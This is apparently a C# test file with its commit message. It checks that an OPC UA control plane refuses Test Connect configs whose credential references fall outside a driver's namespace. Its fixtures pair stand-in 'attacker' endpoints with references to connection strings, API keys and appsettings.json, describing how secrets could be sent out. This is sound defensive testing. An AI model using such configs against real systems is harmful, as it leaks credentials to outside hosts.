a224fd6391
A Designer could point a Galaxy / OpcUaClient endpoint at a host they control, set a credential field to any reference the node can resolve (env:ConnectionStrings__ConfigDb, env:ServerHistorian__ApiKey, secret:<any>, Galaxy file:<any path>) and click Test Connect / live browse; the node resolved the value and sent it to that host. One shared rule in Core.Abstractions (CredentialReferences + DriverCredentialPolicy) generalises the #803 Heidenhain namespace: - Galaxy: secret:galaxy/... | secret:otopcua/galaxy/... | env:OTOPCUA_GALAXY_... | legacy env:GALAXY_MXGW_...; file: refused; dev:/literal API key unchanged. - OpcUaClient: secret:opcuaclient/... | env:OTOPCUA_OPCUACLIENT_...; literals unchanged. - Heidenhain adopts the shared parser/resolver (namespace unchanged). Enforced at the AdminUI save path (DriverConfigSaveGate), the deploy gate (CredentialReferenceDeployChecks, code CredentialReferenceOutOfScope), Test Connect (AdminOperationsActor, before any probe), live browse (BrowserSessionService, before any browser) and again at resolve time in every driver/browser (fail closed, before any store/env read). Co-Authored-By: Claude <noreply@anthropic.com>
67 lines
3.4 KiB
C#
67 lines
3.4 KiB
C#
using Akka.Actor;
|
|
using Shouldly;
|
|
using Xunit;
|
|
using ZB.MOM.WW.OtOpcUa.Commons.Messages.Admin;
|
|
using ZB.MOM.WW.OtOpcUa.ControlPlane.AdminOperations;
|
|
using ZB.MOM.WW.OtOpcUa.ControlPlane.Tests.Harness;
|
|
using ZB.MOM.WW.OtOpcUa.Core.Abstractions;
|
|
|
|
namespace ZB.MOM.WW.OtOpcUa.ControlPlane.Tests;
|
|
|
|
/// <summary>
|
|
/// lmxopcua#815: Test Connect with a credential reference outside the driver's namespace is refused BEFORE any
|
|
/// probe runs — the probe is the seam that would resolve the reference (store / environment) and send the value
|
|
/// to the author-chosen endpoint, so "the probe was never invoked" is "nothing was read".
|
|
/// </summary>
|
|
public sealed class AdminOperationsActorCredentialScopeTests : ControlPlaneActorTestBase
|
|
{
|
|
[Theory]
|
|
[InlineData(DriverTypeNames.Galaxy, """{"Gateway":{"Endpoint":"http://attacker:5001","ApiKeySecretRef":"env:ConnectionStrings__ConfigDb"}}""")]
|
|
[InlineData(DriverTypeNames.Galaxy, """{"Gateway":{"Endpoint":"http://attacker:5001","ApiKeySecretRef":"env:ServerHistorian__ApiKey"}}""")]
|
|
[InlineData(DriverTypeNames.Galaxy, """{"Gateway":{"Endpoint":"http://attacker:5001","ApiKeySecretRef":"file:appsettings.json"}}""")]
|
|
[InlineData(DriverTypeNames.OpcUaClient, """{"EndpointUrl":"opc.tcp://attacker:4840","Password":"secret:otopcua/historian/api-key"}""")]
|
|
[InlineData(DriverTypeNames.Heidenhain, """{"Access":{"InspectPassword":"secret:galaxy/main/apikey"},"Devices":[{"Host":"attacker"}]}""")]
|
|
public void Out_of_namespace_reference_never_reaches_the_probe(string driverType, string config)
|
|
{
|
|
var probe = new RecordingProbe(driverType);
|
|
var actor = Sys.ActorOf(AdminOperationsActor.Props(NewInMemoryDbFactory(), CreateTestProbe("coord").Ref, new IDriverProbe[] { probe }));
|
|
|
|
actor.Tell(new TestDriverConnect(driverType, config, 5, Guid.NewGuid()));
|
|
|
|
var reply = ExpectMsg<TestDriverConnectResult>(PresenceBudget, cancellationToken: TestContext.Current.CancellationToken);
|
|
reply.Ok.ShouldBeFalse();
|
|
reply.Message.ShouldNotBeNull().ShouldContain("Test Connect refused");
|
|
reply.Message.ShouldContain("lmxopcua#815");
|
|
probe.Calls.ShouldBe(0);
|
|
}
|
|
|
|
/// <summary>Positive control: a namespaced reference does reach the probe (the refusal is not blanket).</summary>
|
|
[Fact]
|
|
public void A_namespaced_reference_reaches_the_probe()
|
|
{
|
|
var probe = new RecordingProbe(DriverTypeNames.Galaxy);
|
|
var actor = Sys.ActorOf(AdminOperationsActor.Props(NewInMemoryDbFactory(), CreateTestProbe("coord").Ref, new IDriverProbe[] { probe }));
|
|
|
|
actor.Tell(new TestDriverConnect(
|
|
DriverTypeNames.Galaxy, """{"Gateway":{"Endpoint":"http://gw:5001","ApiKeySecretRef":"secret:galaxy/main/apikey"}}""", 5, Guid.NewGuid()));
|
|
|
|
ExpectMsg<TestDriverConnectResult>(PresenceBudget, cancellationToken: TestContext.Current.CancellationToken).Ok.ShouldBeTrue();
|
|
probe.Calls.ShouldBe(1);
|
|
}
|
|
|
|
private sealed class RecordingProbe(string driverType) : IDriverProbe
|
|
{
|
|
private int _calls;
|
|
|
|
public int Calls => Volatile.Read(ref _calls);
|
|
|
|
public string DriverType => driverType;
|
|
|
|
public Task<DriverProbeResult> ProbeAsync(string configJson, TimeSpan timeout, CancellationToken ct)
|
|
{
|
|
Interlocked.Increment(ref _calls);
|
|
return Task.FromResult(new DriverProbeResult(true, null, TimeSpan.Zero));
|
|
}
|
|
}
|
|
}
|